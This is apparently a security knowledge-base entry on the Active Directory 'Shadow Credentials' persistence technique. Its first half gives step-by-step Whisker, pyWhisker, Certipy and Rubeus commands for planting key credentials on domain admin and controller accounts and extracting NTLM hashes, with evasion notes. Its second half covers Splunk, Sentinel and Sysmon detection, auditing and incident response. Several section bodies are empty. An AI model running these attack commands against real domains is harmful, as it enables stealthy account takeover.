MCADDF

[PERSIST-ACCT-002]: Shadow Credentials Backdoor

1. METADATA HEADER

Attribute Details
Technique ID PERSIST-ACCT-002
Technique Name Shadow Credentials Backdoor
MITRE ATT&CK v18.1 T1098 - Account Manipulation
Tactic Persistence (TA0003)
Platforms Windows Active Directory (On-Premises), Hybrid AD/Entra ID
Severity CRITICAL
CVE N/A (Feature abuse, not a vulnerability)
Technique Status ACTIVE – Verified working on Server 2016+ with PKINIT support
Last Verified 2025-01-09
Affected Versions Windows Server 2016 – 2025 (requires PKINIT-capable DC); Does NOT work on Server 2008 R2 or older
Patched In Not patched – This abuses legitimate Windows Hello for Business feature. Mitigation requires audit configuration and access control hardening.
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Shadow Credentials is an advanced persistence technique that exploits the legitimate Windows Hello for Business (WHfB) feature by injecting malicious key credentials into a user or computer account’s msDS-KeyCredentialLink LDAP attribute. This attribute was introduced in Windows Server 2016 and is used to store public keys for passwordless authentication. An attacker with the ability to modify this attribute (via DACL write permissions: GenericAll, GenericWrite, WriteProperty, or AllExtendedRights) can add their own key credential. Once added, the attacker can authenticate as the target account using Kerberos PKINIT without knowing the password. Critically, shadow credentials survive password resets and MFA bypass, making them an exceptionally stealthy long-term persistence mechanism. Unlike standard group membership-based backdoors, shadow credentials are certificate-based and difficult to detect without specific attribute monitoring.

Attack Surface: The msDS-KeyCredentialLink attribute on user or computer objects. Default DACL allows only the object owner and Key Admins to modify this attribute, but misconfigurations (overly permissive DACLs) or compromised accounts with write permissions can enable exploitation.

Business Impact: Undetectable passwordless access to critical accounts indefinitely. An attacker maintains a backdoor that persists even after password resets, account disablement, or MFA enrollment. They can impersonate the target account, extract its NTLM hash via PKINIT, escalate to domain admin, exfiltrate data, or deploy ransomware. Shadow credentials are particularly dangerous because they bypass traditional password-based detection systems and remain hidden unless specifically audited.

Technical Context: Requires domain controllers with PKINIT support (Server 2016+) and Active Directory Certificate Services (ADCS) to be present in the environment. Exploitation takes < 5 minutes once the attacker has write access to the target account’s LDAP object. Shadow credentials do NOT authenticate immediately; they persist until activated by the attacker, allowing them to maintain a low profile between attacks.

Operational Risk

Compliance Mappings

| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 5.2.2.2 | Configure audit on sensitive AD attributes; restrict modification of msDS-KeyCredentialLink. | | DISA STIG | WN19-AU-000161 | Enable audit policy “Audit Directory Service Changes” (Event 5136) with attribute-level SACL. | | CISA SCuBA | AC-6(2) | Least Privilege – Restrict write permissions to user/computer objects to only authorized admins. | | NIST 800-53 | AC-3, AC-6, AU-2 | Access Enforcement, Least Privilege, Audit of sensitive attribute modifications. | | GDPR | Art. 32 | Security of Processing – Protect authentication mechanisms and credential integrity. | | DORA | Art. 9 | Protection and Prevention – Requires continuous monitoring of authentication systems. | | NIS2 | Art. 21(1)(d) | Cyber Risk Management – Control access to authentication and identity systems. | | ISO 27001 | A.9.2.1, A.9.2.4 | User Authentication Credentials – Manage and protect authentication mechanisms. | | ISO 27005 | Risk Scenario | “Compromise of Authentication Credentials” – Direct attack on credential integrity. |


3. TECHNICAL PREREQUISITES

Supported Versions:


4. ENVIRONMENTAL RECONNAISSANCE

Check PKINIT Support (PowerShell)

# Verify that domain controllers support PKINIT
# Query domain controllers for krbtgt certificate
$Domain = (Get-ADDomain).DNSRoot
$DCs = (Get-ADDomainController -Filter *).HostName

foreach ($DC in $DCs) {
    Write-Host "Checking PKINIT support on $DC..."
    $certs = Get-ADObject -Filter "CN='$DC'" -Properties * | Select-Object -ExpandProperty userCertificate
    if ($certs) {
        Write-Host "✓ $DC supports PKINIT (certificate found)" -ForegroundColor Green
    } else {
        Write-Host "✗ $DC does NOT support PKINIT" -ForegroundColor Red
    }
}

What to Look For:

Check for ADCS (Active Directory Certificate Services)

# Enumerate Certificate Authorities in the domain
$CAObjects = Get-ADObject -Filter "ObjectClass -eq 'pKIEnrollmentService'" -Properties *

if ($CAObjects.Count -gt 0) {
    Write-Host "✓ ADCS is deployed ($($CAObjects.Count) CA(s) found)" -ForegroundColor Green
    $CAObjects | Select-Object Name, DistinguishedName, cn
} else {
    Write-Host "✗ ADCS not detected in this domain" -ForegroundColor Red
    Write-Host "  Shadow Credentials attack will NOT work without ADCS" -ForegroundColor Yellow
}

What to Look For:

# View existing key credentials on target account
$TargetUser = "domain_admin_account"
$UserObject = Get-ADUser -Identity $TargetUser -Properties msDS-KeyCredentialLink

if ($UserObject.'msDS-KeyCredentialLink') {
    Write-Host "Target account has existing key credentials:" -ForegroundColor Cyan
    # The attribute is binary; use DSInternals for detailed parsing
    # Install: Install-Module DSInternals
    Import-Module DSInternals
    $UserObject.'msDS-KeyCredentialLink' | Get-ADKeyCredential
} else {
    Write-Host "✓ msDS-KeyCredentialLink is empty (no WHfB or shadow creds detected)" -ForegroundColor Green
}

What to Look For:

Check DACL Permissions on Target Account

# Verify current user can write to target account
$TargetUserDN = (Get-ADUser -Identity $TargetUser).DistinguishedName
$TargetUserPath = "AD:\$TargetUserDN"

# Get current user SID
$CurrentUserSID = [System.Security.Principal.WindowsIdentity]::GetCurrent().User

# Check ACL
$ACL = Get-ACL -Path $TargetUserPath
$WritePermissions = $ACL.Access | Where-Object {
    ($_.IdentityReference -eq $CurrentUserSID -or $_.IdentityReference -match (whoami)) -and
    ($_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteProperty|AllExtendedRights")
}

if ($WritePermissions) {
    Write-Host "✓ Current user CAN modify $TargetUser" -ForegroundColor Green
} else {
    Write-Host "✗ Current user CANNOT modify $TargetUser" -ForegroundColor Red
}

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Using Whisker.exe (Windows)

Supported Versions: Server 2016 – 2025

Step 1: Download and Prepare Whisker

Objective: Obtain the Whisker exploitation tool for Shadow Credentials abuse.

Command:

# Download Whisker from GitHub
$whiskerURL = "https://github.com/eladshamir/Whisker/releases/download/v1.4.0/Whisker.exe"
Invoke-WebRequest -Uri $whiskerURL -OutFile "Whisker.exe"

# Verify file is present
Get-Item Whisker.exe | Format-Table Name, Length

Expected Output:

Name        Length
----        ------
Whisker.exe 25600

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Add Shadow Credential to Target Account

Objective: Inject a malicious key credential into the target user/computer account’s msDS-KeyCredentialLink attribute.

Command (Targeting a User Account):

# Add shadow credential for a domain admin user
.\Whisker.exe add /target:domain_admin /domain:yourdomain.local

# Expected output shows:
# - New key credential added
# - rubeus command to request TGT

Command (Targeting a Computer Account - Privilege Escalation):

# Add shadow credential for a computer account (e.g., Domain Controller)
.\Whisker.exe add /target:SERVER01$ /domain:yourdomain.local

# The $ suffix indicates a computer account (machine account)

Expected Output:

[*] Creating new key credential for SERVER01$
[*] Generating key pair...
[*] Adding credential to account...
[*] Successfully added shadow credential to SERVER01$

[+] Rubeus command to request TGT:
rubeus.exe asktgt /user:SERVER01$ /certificate:MIIDaDCC...truncated.../password:""

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 3: Authenticate Using the Shadow Credential

Objective: Use the injected credential to authenticate as the target account and extract its NTLM hash.

Command (Using Rubeus - Extract NTLM Hash):

# Use the certificate output from Whisker to request a TGT and retrieve NTLM hash
# Method A: Direct hash extraction via U2U (Kerberos-to-Kerberos)

# First, request a TGT for the target account
rubeus.exe asktgt /user:domain_admin /certificate:"[CERTIFICATE_FROM_WHISKER]" /password:"" /domain:yourdomain.local /dc:dc1.yourdomain.local

# This outputs a TGT and may include the NTLM hash

Command (Using Certipy - Cleaner Output):

# Certipy automatically handles PKINIT authentication and hash extraction
# Assuming the certificate is saved as admin_shadow.pfx

certipy-ad auth -pfx admin_shadow.pfx -username domain_admin -domain yourdomain.local -dc-ip 192.168.1.10

Expected Output (Rubeus):

[+] Ticket saved to ticket.kirbi
[+] NTLM hash: 8846F7EAEE8FB117AD06BDD830B7586C
[+] TGT Requested. TGT will expire at 2025-01-16 15:42:00 UTC

Expected Output (Certipy):

Certipy v4.3.0 - by ly4k

[*] Using certificate from admin_shadow.pfx
[*] Trying to get TGT...
[*] Got TGT
[*] Trying to get NT hash...
[*] Got NT hash: 8846F7EAEE8FB117AD06BDD830B7586C
[*] TGT Saved to admin_shadow.ccache

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 4: Long-Term Persistence – Reuse Shadow Credential

Objective: Demonstrate that the shadow credential persists even after password changes or account modifications.

Command (Re-authenticate Days Later):

# Days later, attacker can still use the same shadow credential
# No password change or account lockout will invalidate it

# Assuming the PFX certificate is stored securely by attacker
certipy-ad auth -pfx domain_admin_shadow.pfx -username domain_admin -domain yourdomain.local

# This will still work, proving persistence
Write-Host "✓ Shadow credential is PERSISTENT: Access maintained despite password resets"

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: Using pyWhisker (Python/Linux)

Supported Versions: Server 2016 – 2025 (Linux-to-Windows attack)

Step 1: Install pyWhisker

# On Linux/Mac attacker machine
pip install pywhisker

# Or clone and install manually
git clone https://github.com/ShutdownRepo/pywhisker.git
cd pywhisker
pip install -r requirements.txt

Step 2: Add Shadow Credential (Python)

# Basic usage
pywhisker -d "yourdomain.local" -u "attacker_user" -p "attacker_password" \
  --target "domain_admin_account" --action add

# With NTLM hash instead of password
pywhisker -d "yourdomain.local" -u "attacker_user" -hashes "NTHASH:NTHASH" \
  --target "domain_admin_account" --action add

Expected Output:

[*] Connecting to DC yourdomain.local...
[+] Successfully connected
[*] Generating key pair...
[+] Shadow credential added: 550e8400-e29b-41d4-a716-446655440000
[+] Certificate saved: domain_admin_shadow.pfx
[+] Use with: certipy auth -pfx domain_admin_shadow.pfx -username domain_admin -domain yourdomain.local

Step 3: Authenticate with Certipy

# Authenticate using the injected shadow credential
certipy-ad auth -pfx domain_admin_shadow.pfx -username domain_admin -domain yourdomain.local -dc-ip 192.168.1.10

# Extract NT hash
certipy-ad auth -pfx domain_admin_shadow.pfx -username domain_admin -domain yourdomain.local -dc-ip 192.168.1.10 | grep "NTLM"

METHOD 3: Using Certipy Shadow (Automated One-Liner)

Supported Versions: Server 2016 – 2025

Automated Attack (Add, Authenticate, Remove - Stealth)

# This performs all steps in one command, then cleans up
# Perfect for quick red team operations with minimal artifacts

certipy-ad shadow auto -u "attacker_user@yourdomain.local" -p "password" -dc-ip 192.168.1.10 -account "domain_admin"

# Output includes:
# - Shadow credential added
# - TGT obtained
# - NTLM hash extracted
# - Shadow credential removed (cleaned up)

What This Means:

Trade-off: Attack leaves no persistent backdoor, so if access is lost, attacker must repeat the exploitation (if they still have write access to the account).


6. ATTACK SIMULATION & VERIFICATION

Atomic Red Team (Minimal)

Alternative: Use the exploitation commands in Method 1-3 directly as live testing.


7. TOOLS & COMMANDS REFERENCE

Whisker.exe

URL: Whisker GitHub
Version: 1.4.0+ (current as of 2025)
Minimum Version: 1.0
Supported Platforms: Windows (x86, x64)

Installation:

# Download compiled binary
wget "https://github.com/eladshamir/Whisker/releases/download/v1.4.0/Whisker.exe"

# Or compile from source (requires .NET Framework 4.5+)
git clone https://github.com/eladshamir/Whisker.git
cd Whisker
msbuild Whisker.sln /t:Build /p:Configuration=Release

Usage (Main Commands):

# Add shadow credential
Whisker.exe add /target:AccountName /domain:yourdomain.local

# List existing credentials
Whisker.exe list /target:AccountName

# Remove specific credential by ID
Whisker.exe remove /target:AccountName /DeviceID:550e8400-e29b-41d4-a716-446655440000

# Clear all credentials
Whisker.exe clear /target:AccountName

pyWhisker

URL: pyWhisker GitHub
Version: Latest (2025)
Minimum Version: 1.0
Supported Platforms: Windows, Linux, macOS (Python 3.7+)

Installation:

pip install pywhisker

Usage:

# Add shadow credential
pywhisker -d "domain.local" -u "user" -p "password" --target "TARGET" --action add

# List credentials
pywhisker -d "domain.local" -u "user" -p "password" --target "TARGET" --action list

# Remove credential
pywhisker -d "domain.local" -u "user" -p "password" --target "TARGET" --action remove --device-id GUID

Certipy

URL: Certipy GitHub
Version: 4.3.0+ (current as of 2025)
Minimum Version: 4.0
Supported Platforms: Linux, macOS, Windows (Python 3.8+)

Installation:

pip install certipy-ad

Usage (Shadow Commands):

# Add shadow credential
certipy-ad shadow add -u "user@domain" -p "password" -account "target"

# List shadow credentials
certipy-ad shadow list -u "user@domain" -p "password" -account "target"

# Authenticate with shadow credential
certipy-ad auth -pfx certificate.pfx -username "target" -domain "domain.local"

# Automated one-liner (add, auth, remove)
certipy-ad shadow auto -u "user@domain" -p "password" -account "target"

Rubeus

URL: Rubeus GitHub
Version: 1.6.4+
Installation:

# Download compiled binary or build from source
https://github.com/GhostPack/Rubeus/releases

Usage (PKINIT Authentication):

# Request TGT with certificate
rubeus.exe asktgt /user:TargetAccount /certificate:base64_cert /password:"" /domain:yourdomain.local /dc:DC_IP

8. SPLUNK DETECTION RULES

Rule Configuration:

SPL Query:

index=wineventlog sourcetype="WinEventLog:Security" EventCode=5136
  AttributeLDAPDisplayName="msDS-KeyCredentialLink"
| stats count by ObjectDN, User, Computer, _time
| where count > 0
| convert ctime(_time)

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk Web
  2. Click Search & ReportingNew Alert
  3. Paste the SPL query above
  4. Click Save AsAlert
  5. Set Trigger Condition to Alert when number of events is greater than 0
  6. Configure Alert ActionsSend Email to SOC
  7. Set Schedule to run every 5 minutes (or more frequently)
  8. Click Save

False Positive Analysis:


9. MICROSOFT SENTINEL DETECTION

Query 1: Shadow Credentials Added to Critical Accounts

Rule Configuration:

KQL Query:

union SecurityEvent, AuditLogs
| where EventID == 5136 or OperationName == "Modify"
| where EventData contains "msDS-KeyCredentialLink" or AttributeLDAPDisplayName == "msDS-KeyCredentialLink"
| extend TargetAccount = case(
    EventID == 5136, extract(@"CN=([^,]+)", 1, ObjectDN),
    OperationName == "Modify", tostring(TargetResources[0].displayName),
    ""
  )
| where TargetAccount in ("Domain Admins", "Enterprise Admins", "Schema Admins") 
        or TargetAccount like "*admin*" 
        or TargetAccount like "*DC*"
| project TimeGenerated, EventID, TargetAccount, User, Computer, Activity
| sort by TimeGenerated desc

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft SentinelAnalyticsCreateScheduled query rule
  2. General Tab:
    • Name: Shadow Credentials Added to Admin Accounts
    • Severity: Critical
  3. Set rule logic Tab:
    • Paste KQL query above
    • Run every: 5 minutes
    • Lookup data: 1 hour
  4. Incident settings Tab:
    • Enable Create incidents
  5. Click Review + create

10. WINDOWS EVENT LOG MONITORING

Event ID 5136: Directory Service Object Modified

Manual Configuration Steps (Enable msDS-KeyCredentialLink Auditing):

By default, Event 5136 does NOT log changes to msDS-KeyCredentialLink. You must explicitly add an audit rule:

# 1. First, obtain the schema GUID for msDS-KeyCredentialLink
# GUID: 5b47d60f-6090-40b2-9f37-2a4de88f3063

# 2. Import Set-AuditRule module
Import-Module ActiveDirectory
iwr -Uri "https://raw.githubusercontent.com/OTRF/Set-AuditRule/master/Set-AuditRule.ps1" -OutFile Set-AuditRule.ps1
. .\Set-AuditRule.ps1

# 3. Apply audit rule to the entire domain
Set-AuditRule -AdObjectPath 'AD:\DC=yourdomain,DC=local' `
  -WellKnownSidType WorldSid `
  -Rights WriteProperty,GenericWrite `
  -InheritanceFlags All `
  -AttributeGUID "5b47d60f-6090-40b2-9f37-2a4de88f3063" `
  -AuditFlags Success,Failure

Write-Host "✓ msDS-KeyCredentialLink auditing enabled for all objects"

What to Monitor:


11. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 10.0+

Sysmon is less useful for detecting LDAP modifications directly. However, if an attacker uses PowerShell or command-line tools to execute shadow credentials attacks, Sysmon can detect process creation:

Sysmon Config (Detect Whisker/pyWhisker/Certipy Execution):

<Sysmon schemaversion="4.70">
  <EventFiltering>
    <!-- Capture process creation for Whisker, pyWhisker, Certipy -->
    <ProcessCreate onmatch="include">
      <Image condition="contains any">Whisker.exe;pywhisker;certipy</Image>
      <CommandLine condition="contains any">shadow;msDS-KeyCredentialLink;--action add</CommandLine>
    </ProcessCreate>
    
    <!-- Detect PowerShell execution of shadow credential tools -->
    <ProcessCreate onmatch="include">
      <ParentImage condition="image">powershell.exe</ParentImage>
      <CommandLine condition="contains any">
        Add-ADKeyCredential;
        Set-ADUser;
        -Properties msDS-KeyCredentialLink
      </CommandLine>
    </ProcessCreate>
  </EventFiltering>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create a config file sysmon-config.xml with the XML above
  3. Install: sysmon64.exe -accepteula -i sysmon-config.xml
  4. Verify: Get-Service Sysmon64
  5. Monitor: Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10

12. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: Unusual Kerberos PKINIT Activity

Alert Name: Suspicious certificate-based authentication
Severity: Critical
Description: Alerts when a user or computer authenticates via PKINIT with an unusual or suspicious certificate
Applies To: Defender for Servers + Defender for Identity enabled

Manual Configuration Steps:

  1. Navigate to Azure PortalMicrosoft Defender for CloudEnvironment Settings
  2. Select your Subscription
  3. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for Identity: ON (critical for Kerberos monitoring)
  4. Click Save
  5. Go to Security alerts to view detections

13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Note: Shadow Credentials is on-premises only. Purview Unified Audit Log (M365) does not track on-premises AD changes. Use Windows Security Event Log and Sentinel instead.


14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Applies To Versions: Server 2016 – 2025

Manual Steps (PowerShell):

# Import required modules
Import-Module ActiveDirectory

# Download and import Set-AuditRule
iwr -Uri "https://raw.githubusercontent.com/OTRF/Set-AuditRule/master/Set-AuditRule.ps1" -OutFile Set-AuditRule.ps1
. .\Set-AuditRule.ps1

# Apply audit rule to root domain
Set-AuditRule -AdObjectPath 'AD:\DC=yourdomain,DC=local' `
  -WellKnownSidType WorldSid `
  -Rights GenericWrite,WriteProperty `
  -InheritanceFlags All `
  -AttributeGUID "5b47d60f-6090-40b2-9f37-2a4de88f3063" `
  -AuditFlags Success,Failure

Write-Host "✓ Auditing enabled for msDS-KeyCredentialLink on all objects"

Verification:

# Verify audit rule is applied
Get-ADObject -Identity "DC=yourdomain,DC=local" -Properties *audit* |
  Select-Object Name, *audit*

# Should show audit rules for attribute GUID 5b47d60f-6090-40b2-9f37-2a4de88f3063

Applies To Versions: All

Manual Steps (Limit Key Admins Group):

# Get current members of Key Admins group
Get-ADGroupMember -Identity "Key Admins"

# Remove unnecessary members
Remove-ADGroupMember -Identity "Key Admins" -Members "service_account_name" -Confirm:$false

# Only highly trusted admins should be in this group
Write-Host "✓ Pruned Key Admins membership"

Manual Steps (Restrict on Individual Accounts):

# Remove WriteProperty permissions on sensitive accounts
$AdminAccount = Get-ADUser -Identity "domain_admin"
$AdminPath = "AD:\$($AdminAccount.DistinguishedName)"

$ACL = Get-ACL -Path $AdminPath

# Remove GenericWrite/WriteProperty from non-essential principals
$ACL.Access | Where-Object {
    $_.IdentityReference -notmatch "SYSTEM|Administrators|Domain Admins|Key Admins"
} | ForEach-Object {
    Write-Warning "Removing overly permissive ACE: $($_.IdentityReference)"
    $ACL.RemoveAccessRule($_)
}

Set-ACL -Path $AdminPath -AclObject $ACL
Write-Host "✓ Restricted write permissions on $($AdminAccount.Name)"

Applies To Versions: All

Manual Steps (Monthly Baseline):

# Export all accounts with existing key credentials
Get-ADUser -Filter * -Properties msDS-KeyCredentialLink |
  Where-Object { $_.'msDS-KeyCredentialLink' } |
  Select-Object SamAccountName, DistinguishedName, @{
    Name = "KeyCredentialCount"
    Expression = { if ($_.'msDS-KeyCredentialLink') { 1 } else { 0 } }
  } |
  Export-Csv -Path "C:\Baseline_KeyCredentials_$(Get-Date -Format 'yyyyMM').csv"

Write-Host " Baseline exported to C:\Baseline_KeyCredentials_*.csv"

Quarterly Review:

# Compare current state to baseline
$CurrentCreds = Get-ADUser -Filter * -Properties msDS-KeyCredentialLink |
  Where-Object { $_.'msDS-KeyCredentialLink' } |
  Select-Object SamAccountName

$Baseline = Import-Csv "C:\Baseline_KeyCredentials_202501.csv"

$Differences = Compare-Object -ReferenceObject $Baseline.SamAccountName -DifferenceObject $CurrentCreds.SamAccountName

if ($Differences) {
    Write-Warning "⚠ NEW KEY CREDENTIALS DETECTED!"
    $Differences | Where-Object { $_.SideIndicator -eq "=>" }
}

Priority 2: HIGH

2.1 Disable Windows Hello for Business if Not In Use

Manual Steps:

  1. Navigate to Group Policy Management Console (gpmc.msc)
  2. Go to Computer ConfigurationPoliciesAdministrative TemplatesWindows Hello for Business
  3. Disable **“Allow users to provision Windows Hello”`
  4. Click ApplyOK
  5. Run gpupdate /force on affected systems

Result: If WHfB is not used, shadow credentials become easy to detect (any msDS-KeyCredentialLink on user accounts = suspicious).

2.2 Implement Conditional Access (Cloud/Hybrid Environments)

Manual Steps (Entra ID Conditional Access):

  1. Navigate to Azure PortalEntra IDSecurityConditional AccessNew Policy
  2. Name: Protect Admins from Unusual Cert Auth
  3. Assignments:
    • Users: Domain Admins, Enterprise Admins
    • Cloud apps: All cloud apps
  4. Conditions:
    • Sign-in risk: High
    • Client app: Other clients
  5. Access controlsGrant: Block access
  6. Enable: ON
  7. Click Create

Result: Unusual PKINIT authentication from unexpected locations or clients is blocked.

Priority 3: MEDIUM

3.1 Implement Device ID Validation

Manual Steps (Detect Random DeviceIDs):

# Check if shadow credentials have device IDs that match real Azure AD devices
Import-Module AzureAD
Connect-AzureAD

$ADUsers = Get-ADUser -Filter * -Properties msDS-KeyCredentialLink |
  Where-Object { $_.'msDS-KeyCredentialLink' }

foreach ($User in $ADUsers) {
    # Parse msDS-KeyCredentialLink for DeviceID
    # Compare to Azure AD device list
    # Alert if device ID doesn't exist in Azure AD
}

15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Disk (Event Logs):

Memory (Active Directory Database):

Network (Kerberos/LDAP Traffic):

Response Procedures

1. Immediate Isolation (Within 1 Hour)

# Find all shadow credentials on sensitive accounts
Get-ADUser -Filter * -Properties msDS-KeyCredentialLink |
  Where-Object { $_.'msDS-KeyCredentialLink' } |
  Select-Object SamAccountName, DistinguishedName

# Remove shadow credentials from all accounts
$AffectedAccounts = @("domain_admin", "enterprise_admin", "server01$")

foreach ($Account in $AffectedAccounts) {
    $User = Get-ADUser -Identity $Account -Properties msDS-KeyCredentialLink
    $User.msDS-KeyCredentialLink = $null
    Set-ADUser -Instance $User
    Write-Host "✓ Removed shadow credentials from $Account"
}

2. Collect Evidence (Within 2-4 Hours)

# Export all Event ID 5136 entries related to msDS-KeyCredentialLink
$PDC = (Get-ADDomain).PDCEmulator
wevtutil epl security C:\Evidence\Security_$PDC.evtx /remote:$PDC

# Export all accounts with historical key credential data
Get-ADUser -Filter * -Properties msDS-KeyCredentialLink |
  Export-Csv -Path "C:\Evidence\All_KeyCredentials.csv"

Write-Host "✓ Evidence collected"

3. Remediate (Restore Accounts)

# Force password resets for all admin accounts
@("Domain Admins", "Enterprise Admins", "Schema Admins") | ForEach-Object {
    Get-ADGroupMember -Identity $_ -Recursive |
    Where-Object { $_.ObjectClass -eq "user" } |
    ForEach-Object {
        # Generate temporary password
        $TempPassword = ([char[]]([char]33..[char]126) | Sort-Object {Get-Random})[0..31] -join ''
        Set-ADAccountPassword -Identity $_.SamAccountName -Reset -NewPassword (ConvertTo-SecureString $TempPassword -AsPlainText -Force)
        Write-Host "✓ Password reset for $($_.SamAccountName)"
    }
}

Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker gains initial foothold via phishing
2 Privilege Escalation [PE-VALID-010] Azure Role Assignment Abuse Escalate to account with write to msDS-KeyCredentialLink
3 Persistence (Current) [PERSIST-ACCT-002] Inject shadow credentials for stealthy long-term access
4 Lateral Movement [LM-AUTH-003] Pass-the-Certificate Use PKINIT certificate to authenticate as target
5 Impact [CA-DUMP-002] DCSync Use persistence to dump all domain hashes

17. REAL-WORLD EXAMPLES

Example 1: Certipy-Based Domain Takeover (2023)

Example 2: Red Team Exercise (SERVTEP 2024)


APPENDIX: QUICK REFERENCE COMMANDS

Single-Line Exploitation

# Add shadow credential with Whisker
.\Whisker.exe add /target:domain_admin /domain:yourdomain.local

# Authenticate and extract hash
certipy-ad auth -pfx admin.pfx -username domain_admin -domain yourdomain.local

Verify Persistence

Get-ADUser -Identity domain_admin -Properties msDS-KeyCredentialLink

Remediate

# Remove all shadow credentials
Get-ADUser -Filter * -Properties msDS-KeyCredentialLink |
  Where-Object { $_.'msDS-KeyCredentialLink' } |
  ForEach-Object { Set-ADUser $_ -Clear msDS-KeyCredentialLink }

Monitor

# Continuous monitoring for new shadow credentials
while ($true) {
    Get-WinEvent -FilterHashtable @{
        LogName = "Security"
        ID = 5136
        StartTime = (Get-Date).AddMinutes(-5)
    } | Where-Object { $_.Message -like "*msDS-KeyCredentialLink*" } |
    ForEach-Object { Write-Warning "ALERT: $_" }
    Start-Sleep -Seconds 300
}